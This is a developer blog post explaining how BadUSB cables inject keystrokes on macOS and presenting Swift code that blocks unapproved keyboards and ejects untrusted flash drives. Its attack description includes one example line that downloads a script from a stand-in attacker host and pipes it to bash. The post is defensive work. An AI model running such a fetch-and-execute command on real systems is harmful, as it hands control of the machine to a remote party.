A Japanese version of this is on Note.
A few weeks ago, I watched a demonstration of an OMG Cable attacking a Mac.
If you haven't seen one in person, it is genuinely unnerving. The cable looks 100% identical to a standard braided USB-C charging cord. It charges an iPhone normally. But the instant you plug it into a laptop, an embedded microcontroller registers as a virtual USB keyboard and blasts keystrokes at over 1,000 words per minute.
Before your brain even registers that a device was plugged in, you see Spotlight flicker for a fraction of a second, Terminal pops up, and a one-line payload is executed:
Cmd+Space ➔ "terminal" ➔ Enter ➔ curl -sL https://attacker.com/payload | bash ➔ Cmd+Q
The entire compromise happens in under 500 milliseconds. No downloaded file to double-click. No browser prompt. Just an innocent-looking charging cable.
While building RoamSwitch, a lightweight macOS security utility, I realized our digital perimeter doesn't mean much if someone can compromise the local shell with physical access.
Here is how I implemented a physical keystroke-quarantine guard in Swift that drops BadUSB keystrokes in flight before macOS can process them.
Why macOS Doesn't Stop This Out of the Box
Apple introduced the "Allow accessory to connect?" dialog in macOS Ventura, which was a welcome step forward for USB-C security. But against a BadUSB cable, it runs into two practical problems:
- The user already wants to connect it: If you borrowed a cable to charge your dying battery, you will click "Allow" without hesitation.
- OS trust architecture: Once authorized at the bus level, macOS treats USB keyboards as trusted human input. There is no OS-level check to ask "is a human finger physically pressing these keys, or is a microchip spamming 100 keystrokes a millisecond?"
To macOS, every keystroke received from an authorized HID keyboard represents the direct, intentional command of the logged-in user.
The Quarantine Strategy: Drop Everything First
If you wait for a user to read an alert and click "Block," you've already lost. A BadUSB payload finishes before the human eye can even focus on a notification banner.
The only way to win this race is fail-closed quarantine:
[New USB Keyboard / BadUSB Inserted]
│
▼
[IOHIDManager Callback]
(Detects non-whitelisted device)
│
▼
[Set isBlockingActive = true]
│
▼
[CGEventTap Callback]
(Returns nil for all key events: instant drop!)
│
▼
[Display Modal: "Did you plug this in?"]
├── User clicks "Approve": Whitelist & unblock
└── User clicks "Reject": Keep blocked indefinitely
The moment a physical USB keyboard is plugged in:
-
IOHIDManagercatches the attachment event. - If the device's hardware identity isn't already on the local whitelist, we immediately set
isBlockingActive = true. - A system-wide
CGEventTapsitting at the very head of the HID event queue begins returningnilfor allkeyDown,keyUp, and modifier events. - The 1,000 WPM script screams into the void. Not a single character reaches Spotlight or Terminal.
- An interactive modal pops up on screen: "New keyboard detected. Did you plug this in?"
The Swift Implementation: Why User Space Wins Over DriverKit
The purist approach to USB security is writing a DriverKit System Extension (com.apple.developer.driverkit.transport.usb). But for an indie macOS utility, DriverKit introduces massive practical friction:
- Apple-Gated Entitlements: USB transport drivers require special developer entitlements that require manual application and lengthy approval cycles from Apple.
- Install Friction: System Extensions demand administrator prompts, navigating System Settings security panes, and often requiring system reboots.
- Crash Blast Radius: A bug in a low-level driver can panic the entire system.
Instead, we can achieve identical protection entirely in user space by pairing two native macOS subsystems: IOHIDManager (for hardware topology monitoring) and CGEventTap (for low-latency keystroke filtering using standard Accessibility permissions). It requires zero reboots, zero custom kernel drivers, and zero special Apple entitlement requests.
1. Detecting Physical Insertion with IOHIDManager
We register an IOHIDManager on the main runloop configured to match generic desktop keyboard devices:
import IOKit
import IOKit.hid
private func startHIDMonitoring() {
let manager = IOHIDManagerCreate(kCFAllocatorDefault, IOOptionBits(kIOHIDOptionsTypeNone))
self.hidManager = manager
let matchingDict: [String: Any] = [
kIOHIDDeviceUsagePageKey: kHIDPage_GenericDesktop,
kIOHIDDeviceUsageKey: kHIDUsage_GD_Keyboard
]
IOHIDManagerSetDeviceMatching(manager, matchingDict as CFDictionary)
let context = UnsafeMutableRawPointer(Unmanaged.passUnretained(self).toOpaque())
IOHIDManagerRegisterDeviceMatchingCallback(manager, { (context, result, sender, device) in
guard let context = context else { return }
let guardInstance = Unmanaged<USBKeyboardGuard>.fromOpaque(context).takeUnretainedValue()
Task { @MainActor in
guardInstance.handleDeviceConnected(device: device)
}
}, context)
IOHIDManagerScheduleWithRunLoop(manager, CFRunLoopGetMain(), CFRunLoopMode.defaultMode.rawValue)
IOHIDManagerOpen(manager, IOOptionBits(kIOHIDOptionsTypeNone))
}
When a device connects, we extract its Vendor ID, Product ID, Serial Number, and Transport. If it's not in our allowlist, we flip the killswitch immediately:
private func handleDeviceConnected(device: IOHIDDevice) {
let name = (IOHIDDeviceGetProperty(device, kIOHIDProductKey as CFString) as? String) ?? "Unknown Keyboard"
let vendorId = IOHIDDeviceGetProperty(device, kIOHIDVendorIDKey as CFString) as? Int
let productId = IOHIDDeviceGetProperty(device, kIOHIDProductIDKey as CFString) as? Int
let serial = IOHIDDeviceGetProperty(device, kIOHIDSerialNumberKey as CFString) as? String
let transport = (IOHIDDeviceGetProperty(device, kIOHIDTransportKey as CFString) as? String) ?? ""
// Never block the built-in Mac keyboard!
if isInternalKeyboard(name: name, vendorId: vendorId, transport: transport) {
return
}
let identifier = makeDeviceIdentifier(vendorId: vendorId, productId: productId, serialNumber: serial, name: name)
if !allowedKeyboards.contains(where: { $0.deviceIdentifier == identifier }) {
isBlockingActive = true
showApprovalModal(for: identifier, name: name)
}
}
2. Dropping Raw Keystrokes via CGEventTap
To discard key events before any application sees them, we create a CGEventTap placed at .headInsertEventTap.
When isBlockingActive is true, returning nil from the tap callback completely swallows the event:
import CoreGraphics
private func startEventTap() {
let mask = (1 << CGEventType.keyDown.rawValue) |
(1 << CGEventType.keyUp.rawValue) |
(1 << CGEventType.flagsChanged.rawValue)
let context = UnsafeMutableRawPointer(Unmanaged.passUnretained(self).toOpaque())
guard let tap = CGEvent.tapCreate(
tap: .cghidEventTap,
place: .headInsertEventTap,
options: .defaultTap,
eventsOfInterest: CGEventMask(mask),
callback: { (proxy, type, event, refcon) -> Unmanaged<CGEvent>? in
guard let refcon = refcon else { return Unmanaged.passRetained(event) }
let guardInstance = Unmanaged<USBKeyboardGuard>.fromOpaque(refcon).takeUnretainedValue()
// If an unapproved keyboard is pending, drop every key event instantly
if guardInstance.isBlockingActive {
return nil
}
return Unmanaged.passRetained(event)
},
userInfo: context
) else {
return
}
self.eventTap = tap
let source = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, tap, 0)
CFRunLoopAddSource(CFRunLoopGetMain(), source, CFRunLoopMode.commonModes)
CGEvent.tapEnable(tap: tap, enable: true)
}
The Terrifying Gotcha: Don't Lock Out the Built-in Keyboard
When you write code that drops all keystrokes globally on macOS, testing it gives you a minor adrenaline rush. If your internal keyboard detection fails, your Mac stops accepting all key input, and you can't even type your sudo password to kill the process.
MacBook internal keyboards don't show up as generic external USB devices. We reliably whitelist them by checking for internal transport protocols and Apple vendor IDs:
private func isInternalKeyboard(name: String, vendorId: Int?, transport: String) -> Bool {
let lowerName = name.lowercased()
// Internal naming identifiers
if lowerName.contains("apple internal") || lowerName.contains("magic keyboard") || lowerName.contains("internal keyboard") {
return true
}
// Internal Mac keyboards typically communicate over SPI or FIFO
if transport.lowercased() == "spi" || transport.lowercased() == "fifo" {
return true
}
// Apple Vendor ID (0x05ac) internal assemblies
if vendorId == 0x05ac && (lowerName.contains("top case") || lowerName.contains("keyboard")) {
return true
}
return false
}
By guaranteeing that internal SPI/FIFO keyboards are permanently whitelisted on boot, the user can always interact with the approval modal and their Mac, while the external rogue device stays trapped in the quarantine box.
What About Flash Drives?
Keystroke injection is only half of the physical port problem. The other half is someone plugging in an unauthorized USB flash drive to copy files or drop binaries while you're grabbing coffee.
In RoamSwitch, we paired this with a volume guard that listens to NSWorkspace mount notifications. Any external mass-storage drive that isn't on the trusted UUID whitelist is instantly unmounted and ejected before macOS finishes indexing it.
The Physical Blind Spot
We spend enormous engineering effort hardening network boundaries—configuring packet filter firewalls, locking down open ports, and rotating credentials.
Yet across all operating systems, the USB port remains a direct, unauthenticated pipeline straight into the user session.
Treating newly attached physical HID devices as untrusted by default isn't paranoia—it's just applying the same zero-trust philosophy we use on the network to the hardware ports sitting on the side of our laptops.
Top comments (0)